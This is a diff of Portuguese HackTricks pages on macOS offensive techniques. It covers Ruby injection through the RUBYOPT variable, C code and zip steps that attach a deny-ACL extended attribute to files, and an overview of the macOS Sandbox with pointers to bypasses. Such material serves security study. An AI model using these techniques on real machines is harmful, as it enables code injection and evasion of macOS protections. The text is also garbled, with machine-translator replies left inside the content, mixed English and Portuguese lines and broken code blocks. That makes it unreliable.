* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Injeção em Aplicações Ruby no macOS
# macOS Ruby Applications Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## RUBYOPT
Usando esta variável de ambiente, é possível **adicionar novos parâmetros** ao **ruby** sempre que ele for executado. Embora o parâmetro **`-e`** não possa ser usado para especificar código ruby a ser executado, é possível usar os parâmetros **`-I`** e **`-r`** para adicionar uma nova pasta ao caminho de bibliotecas a serem carregadas e, em seguida, **especificar uma biblioteca para carregar**.
Usando esta variável de ambiente, é possível **adicionar novos parâmetros** ao **ruby** sempre que ele for executado. Embora o parâmetro **`-e`** não possa ser usado para especificar o código ruby a ser executado, é possível usar os parâmetros **`-I`** e **`-r`** para adicionar uma nova pasta ao caminho das bibliotecas a serem carregadas e, em seguida, **especificar uma biblioteca para carregar**.
Crie a biblioteca **`inject.rb`** em **`/tmp`**:
@ -24,36 +25,35 @@ Crie a biblioteca **`inject.rb`** em **`/tmp`**:
```ruby
puts `whoami`
```
```markdown
{% endcode %}
Crie em qualquer lugar um script ruby como:
{% code title="hello.rb" %}
```
```ruby
puts 'Hello, World!'
```
```markdown
{% endcode %}
Então faça um script ruby arbitrário carregá-lo com:
```
```bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb
```
Fato curioso, isso funciona até com o parâmetro **`--disable-rubyopt`**:
Fato curioso, funciona mesmo com o parâmetro **`--disable-rubyopt`**:
```bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
```
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporte o HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,24 +1,30 @@
# macOS xattr-acls extra stuff
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
\`\`\`bash rm -rf /tmp/test\* echo test >/tmp/test chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test ./get\_acls test ACL for test: !#acl 1 group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
{% endhint %}
```bash
rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
./get_acls test
ACL for test:
!#acl 1
group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a
````
```
<details>
<summary>Código de get_acls</summary>
@ -61,10 +67,52 @@ acl_free(acl);
acl_free(acl_text);
return 0;
}
````
```
```markdown
<details>
<summary>MacOS XATTR e ACLs</summary>
Since you haven't provided any English text to translate, I'm unable to proceed with a translation. Please provide the specific content you'd like translated into Portuguese.
O sistema de arquivos do macOS suporta atributos estendidos (XATTRs) e listas de controle de acesso (ACLs) que podem ser usados para aumentar a segurança e controlar o acesso a arquivos e diretórios.
### Atributos Estendidos (XATTRs)
Os atributos estendidos permitem que você anexe metadados a arquivos. Isso pode ser útil para armazenar informações adicionais que não se encaixam nos atributos padrão do sistema de arquivos.
### Listas de Controle de Acesso (ACLs)
As ACLs fornecem um controle de acesso mais granular em comparação com as permissões tradicionais do Unix. Com as ACLs, você pode definir permissões específicas para usuários e grupos individuais.
### Usos Comuns
- **Segurança de Arquivos**: Use XATTRs para marcar arquivos sensíveis e ACLs para restringir o acesso a eles.
- **Auditoria**: Armazene informações de auditoria em XATTRs para rastrear alterações em arquivos críticos.
### Comandos Úteis
- Para visualizar atributos estendidos:
```bash
xattr -l <arquivo>
```
- Para adicionar um atributo:
```bash
xattr -w <atributo> <valor> <arquivo>
```
- Para visualizar ACLs:
```bash
ls -le <arquivo>
```
- Para adicionar uma ACL:
```bash
chmod +a "<usuário> allow <permissão>" <arquivo>
```
Essas técnicas podem ser usadas para melhorar a segurança do seu sistema e proteger dados sensíveis contra acesso não autorizado.
</details>
```
```bash
# Lets add the xattr com.apple.xxx.xxxx with the acls
mkdir start
@ -72,43 +120,94 @@ mkdir start/protected
./set_xattr start/protected
echo something > start/protected/something
```
<details>
<summary>Código de set_xattr</summary>
```c
// gcc -o set_xattr set_xattr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/xattr.h>
#include <sys/acl.h>
\`\`\`c // gcc -o set\_xattr set\_xattr.c #include #include #include #include #include
void print\_xattrs(const char \*filepath) { ssize\_t buflen = listxattr(filepath, NULL, 0, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); return; }
void print_xattrs(const char *filepath) {
ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW);
if (buflen < 0) {
perror("listxattr");
return;
}
char \*buf = malloc(buflen); if (buf == NULL) { perror("malloc"); return; }
char *buf = malloc(buflen);
if (buf == NULL) {
perror("malloc");
return;
}
buflen = listxattr(filepath, buf, buflen, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); free(buf); return; }
buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW);
if (buflen < 0) {
perror("listxattr");
free(buf);
return;
}
printf("All current extended attributes for %s:\n", filepath); for (char \*name = buf; name < buf + buflen; name += strlen(name) + 1) { printf("%s: ", name); ssize\_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); continue; }
printf("All current extended attributes for %s:\n", filepath);
for (char *name = buf; name < buf + buflen; name += strlen(name) + 1) {
printf("%s: ", name);
ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW);
if (valuelen < 0) {
perror("getxattr");
continue;
}
char \*value = malloc(valuelen + 1); if (value == NULL) { perror("malloc"); continue; }
char *value = malloc(valuelen + 1);
if (value == NULL) {
perror("malloc");
continue;
}
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); free(value); continue; }
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW);
if (valuelen < 0) {
perror("getxattr");
free(value);
continue;
}
value\[valuelen] = '\0'; // Null-terminate the value printf("%s\n", value); free(value); }
value[valuelen] = '\0'; // Null-terminate the value
printf("%s\n", value);
free(value);
}
free(buf); }
free(buf);
}
int main(int argc, char \*argv\[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv\[0]); return 1; }
const char \*hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; const char \*filepath = argv\[1];
int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <filepath>\n", argv[0]);
return 1;
}
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); if (result == 0) { printf("Extended attribute set successfully.\n\n"); } else { perror("setxattr"); return 1; }
const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a";
const char *filepath = argv[1];
print\_xattrs(filepath);
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0);
if (result == 0) {
printf("Extended attribute set successfully.\n\n");
} else {
perror("setxattr");
return 1;
}
return 0; }
print_xattrs(filepath);
````
return 0;
}
```
</details>
<div data-gb-custom-block data-tag="code" data-overflow='wrap'></div>
{% code overflow="wrap" %}
```bash
# Create appledoublefile with the xattr entitlement
ditto -c -k start protected.zip
@ -122,16 +221,24 @@ rm -rf protected.zip
zip -r protected.zip protected ._protected
rm -rf protected
rm ._*
````
Não há texto em inglês fornecido para tradução. Por favor, forneça o texto que você deseja que seja traduzido para o português.
```
{% endcode %}
```bash
# Check if it worked
ditto -x -k --rsrc protected.zip .
xattr -l protected
```
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Suporte ao HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,35 +1,36 @@
# Sandbox do macOS
# macOS Sandbox
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking da AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Informações Básicas
## Basic Information
O Sandbox do macOS (inicialmente chamado Seatbelt) **limita as aplicações** em execução dentro do sandbox às **ações permitidas especificadas no perfil do Sandbox** com o qual o aplicativo está sendo executado. Isso ajuda a garantir que **o aplicativo acesse apenas os recursos esperados**.
O macOS Sandbox (inicialmente chamado de Seatbelt) **limita as aplicações** que estão rodando dentro do sandbox às **ações permitidas especificadas no perfil do Sandbox** com o qual o aplicativo está rodando. Isso ajuda a garantir que **a aplicação estará acessando apenas os recursos esperados**.
Qualquer aplicativo com a **permissão** **`com.apple.security.app-sandbox`** será executado dentro do sandbox. **Binários da Apple** geralmente são executados dentro de um Sandbox e para publicar na **App Store**, **essa permissão é obrigatória**. Portanto, a maioria dos aplicativos será executada dentro do sandbox.
Qualquer aplicativo com a **entitlement** **`com.apple.security.app-sandbox`** será executado dentro do sandbox. **Binários da Apple** geralmente são executados dentro de um Sandbox e, para ser publicado na **App Store**, **essa entitlement é obrigatória**. Portanto, a maioria das aplicações será executada dentro do sandbox.
Para controlar o que um processo pode ou não fazer, o **Sandbox possui ganchos** em todas as **chamadas de sistema** em todo o kernel. **Dependendo** das **permissões** do aplicativo, o Sandbox irá **permitir** certas ações.
Para controlar o que um processo pode ou não fazer, o **Sandbox possui hooks** em todas as **syscalls** ao longo do kernel. **Dependendo** das **entitlements** do aplicativo, o Sandbox **permitirá** certas ações.
Alguns componentes importantes do Sandbox são:
* A **extensão do kernel** `/System/Library/Extensions/Sandbox.kext`
* O **framework privado** `/System/Library/PrivateFrameworks/AppSandbox.framework`
* Um **daemon** em execução no espaço do usuário `/usr/libexec/sandboxd`
* Um **daemon** rodando em userland `/usr/libexec/sandboxd`
* Os **containers** `~/Library/Containers`
Dentro da pasta containers, você pode encontrar **uma pasta para cada aplicativo executado em sandbox** com o nome do identificador do pacote:
Dentro da pasta de containers, você pode encontrar **uma pasta para cada aplicativo executado em sandbox** com o nome do bundle id:
```bash
ls -l ~/Library/Containers
total 0
@ -40,7 +41,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings
drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler
[...]
```
Dentro de cada pasta de identificação do pacote, você pode encontrar o **plist** e o **diretório de Dados** do aplicativo:
Dentro de cada pasta de id de pacote, você pode encontrar o **plist** e o **diretório de Dados** do App:
```bash
cd /Users/username/Library/Containers/com.apple.Safari
ls -la
@ -64,7 +65,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData
drwx------ 2 username staff 64 Mar 24 18:02 tmp
```
{% hint style="danger" %}
Note que mesmo que os links simbólicos estejam lá para "escapar" do Sandbox e acessar outras pastas, o aplicativo ainda precisa **ter permissões** para acessá-las. Essas permissões estão dentro do arquivo **`.plist`**.
Observe que, mesmo que os symlinks estejam lá para "escapar" do Sandbox e acessar outras pastas, o App ainda precisa **ter permissões** para acessá-las. Essas permissões estão dentro do **`.plist`**.
{% endhint %}
```bash
# Get permissions
@ -114,12 +115,12 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
[...]
```
{% hint style="warning" %}
Tudo criado/modificado por um aplicativo Sandboxed receberá o **atributo de quarentena**. Isso impedirá um espaço de sandbox ao acionar o Gatekeeper se o aplicativo sandbox tentar executar algo com **`open`**.
Tudo criado/modificado por um aplicativo em Sandbox receberá o **atributo de quarentena**. Isso impedirá um espaço de sandbox ao acionar o Gatekeeper se o aplicativo em sandbox tentar executar algo com **`open`**.
{% endhint %}
### Perfis de Sandbox
Os perfis de Sandbox são arquivos de configuração que indicam o que será **permitido/proibido** naquele **Sandbox**. Ele utiliza a **Linguagem de Perfil de Sandbox (SBPL)**, que usa a linguagem de programação [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)).
Os perfis de Sandbox são arquivos de configuração que indicam o que será **permitido/proibido** nesse **Sandbox**. Ele usa a **Linguagem de Perfil de Sandbox (SBPL)**, que utiliza a linguagem de programação [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)).
Aqui você pode encontrar um exemplo:
```scheme
@ -140,28 +141,28 @@ Aqui você pode encontrar um exemplo:
)
```
{% hint style="success" %}
Verifique esta [**pesquisa**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **para verificar mais ações que podem ser permitidas ou negadas.**
Verifique esta [**pesquisa**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **para conferir mais ações que podem ser permitidas ou negadas.**
{% endhint %}
Serviços importantes do **sistema** também são executados dentro de seus próprios **perfis de sandbox** personalizados, como o serviço `mdnsresponder`. Você pode visualizar esses **perfis de sandbox personalizados** em:
Importantes **serviços do sistema** também são executados dentro de seu próprio **sandbox** personalizado, como o serviço `mdnsresponder`. Você pode visualizar esses **perfis de sandbox** personalizados em:
* **`/usr/share/sandbox`**
* **`/System/Library/Sandbox/Profiles`**
* **`/System/Library/Sandbox/Profiles`**&#x20;
* Outros perfis de sandbox podem ser verificados em [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles).
Os aplicativos da **App Store** usam o **perfil** **`/System/Library/Sandbox/Profiles/application.sb`**. Você pode verificar neste perfil como as autorizações, como **`com.apple.security.network.server`**, permitem que um processo use a rede.
Aplicativos da **App Store** usam o **perfil** **`/System/Library/Sandbox/Profiles/application.sb`**. Você pode verificar neste perfil como direitos como **`com.apple.security.network.server`** permitem que um processo use a rede.
O SIP é um perfil de Sandbox chamado platform\_profile em /System/Library/Sandbox/rootless.conf
SIP é um perfil de Sandbox chamado platform\_profile em /System/Library/Sandbox/rootless.conf
### Exemplos de Perfis de Sandbox
### Exemplos de Perfil de Sandbox
Para iniciar um aplicativo com um **perfil de sandbox específico**, você pode usar:
```bash
sandbox-exec -f example.sb /Path/To/The/Application
```
{% tabs %}
{% tab title="toque" %}
{% code title="toque.sb" %}
{% tab title="touch" %}
{% code title="touch.sb" %}
```scheme
(version 1)
(deny default)
@ -210,7 +211,7 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
{% endtabs %}
{% hint style="info" %}
Note que o **software** **desenvolvido pela Apple** que roda no **Windows** **não possui precauções de segurança adicionais**, como o isolamento de aplicativos.
Observe que o **software** **autorizado pela Apple** que roda em **Windows** **não possui precauções de segurança adicionais**, como o sandboxing de aplicativos.
{% endhint %}
Exemplos de bypass:
@ -220,40 +221,40 @@ Exemplos de bypass:
### Perfis de Sandbox do MacOS
O macOS armazena os perfis de sandbox do sistema em dois locais: **/usr/share/sandbox/** e **/System/Library/Sandbox/Profiles**.
O macOS armazena perfis de sandbox do sistema em dois locais: **/usr/share/sandbox/** e **/System/Library/Sandbox/Profiles**.
E se um aplicativo de terceiros possuir a concessão _**com.apple.security.app-sandbox**_, o sistema aplicará o perfil **/System/Library/Sandbox/Profiles/application.sb** a esse processo.
E se um aplicativo de terceiros tiver a _**com.apple.security.app-sandbox**_ entitlement, o sistema aplica o perfil **/System/Library/Sandbox/Profiles/application.sb** a esse processo.
### **Perfil de Sandbox do iOS**
O perfil padrão é chamado **container** e não temos a representação de texto SBPL. Na memória, esse sandbox é representado como uma árvore binária de Permitir/Negar para cada permissão do sandbox.
### Depurar e Bypass de Sandbox
### Depurar & Bypass Sandbox
No macOS, ao contrário do iOS, onde os processos são isolados desde o início pelo kernel, **os processos devem optar pelo sandbox por conta própria**. Isso significa que no macOS, um processo não é restrito pelo sandbox até que decida ativamente entrar nele.
No macOS, ao contrário do iOS, onde os processos são isolados desde o início pelo kernel, **os processos devem optar por entrar no sandbox**. Isso significa que no macOS, um processo não é restrito pelo sandbox até que decida ativamente entrar nele.
Os processos são automaticamente isolados do espaço do usuário quando iniciam se possuírem a concessão: `com.apple.security.app-sandbox`. Para uma explicação detalhada desse processo, verifique:
Os processos são automaticamente isolados do userland quando começam, se tiverem a entitlement: `com.apple.security.app-sandbox`. Para uma explicação detalhada desse processo, consulte:
{% content-ref url="macos-sandbox-debug-and-bypass/" %}
[macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/)
{% endcontent-ref %}
### **Verificar Privilégios do PID**
### **Verificar Privilégios de PID**
[**De acordo com isso**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), o **`sandbox_check`** (é um `__mac_syscall`), pode verificar **se uma operação é permitida ou não** pelo sandbox em um determinado PID.
A [**ferramenta sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) pode verificar se um PID pode executar uma determinada ação:
A [**ferramenta sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) pode verificar se um PID pode realizar uma determinada ação:
```bash
sbtool <pid> mach #Check mac-ports (got from launchd with an api)
sbtool <pid> file /tmp #Check file access
sbtool <pid> inspect #Gives you an explaination of the sandbox profile
sbtool <pid> all
```
### SBPL personalizado em aplicativos da App Store
### Custom SBPL em aplicativos da App Store
Pode ser possível para empresas fazer seus aplicativos rodarem **com perfis de Sandbox personalizados** (em vez do padrão). Elas precisam usar o direito **`com.apple.security.temporary-exception.sbpl`** que precisa ser autorizado pela Apple.
Pode ser possível para as empresas fazerem seus aplicativos rodarem **com perfis de Sandbox personalizados** (em vez do padrão). Elas precisam usar a permissão **`com.apple.security.temporary-exception.sbpl`** que precisa ser autorizada pela Apple.
É possível verificar a definição desse direito em **`/System/Library/Sandbox/Profiles/application.sb:`**
É possível verificar a definição dessa permissão em **`/System/Library/Sandbox/Profiles/application.sb:`**
```scheme
(sandbox-array-entitlement
"com.apple.security.temporary-exception.sbpl"
@ -261,18 +262,19 @@ Pode ser possível para empresas fazer seus aplicativos rodarem **com perfis de
(let* ((port (open-input-string string)) (sbpl (read port)))
(with-transparent-redirection (eval sbpl)))))
```
Isso irá **avaliar a string após essa concessão** como um perfil de Sandbox.
Isto irá **avaliar a string após esta concessão** como um perfil de Sandbox.
{% hint style="success" %}
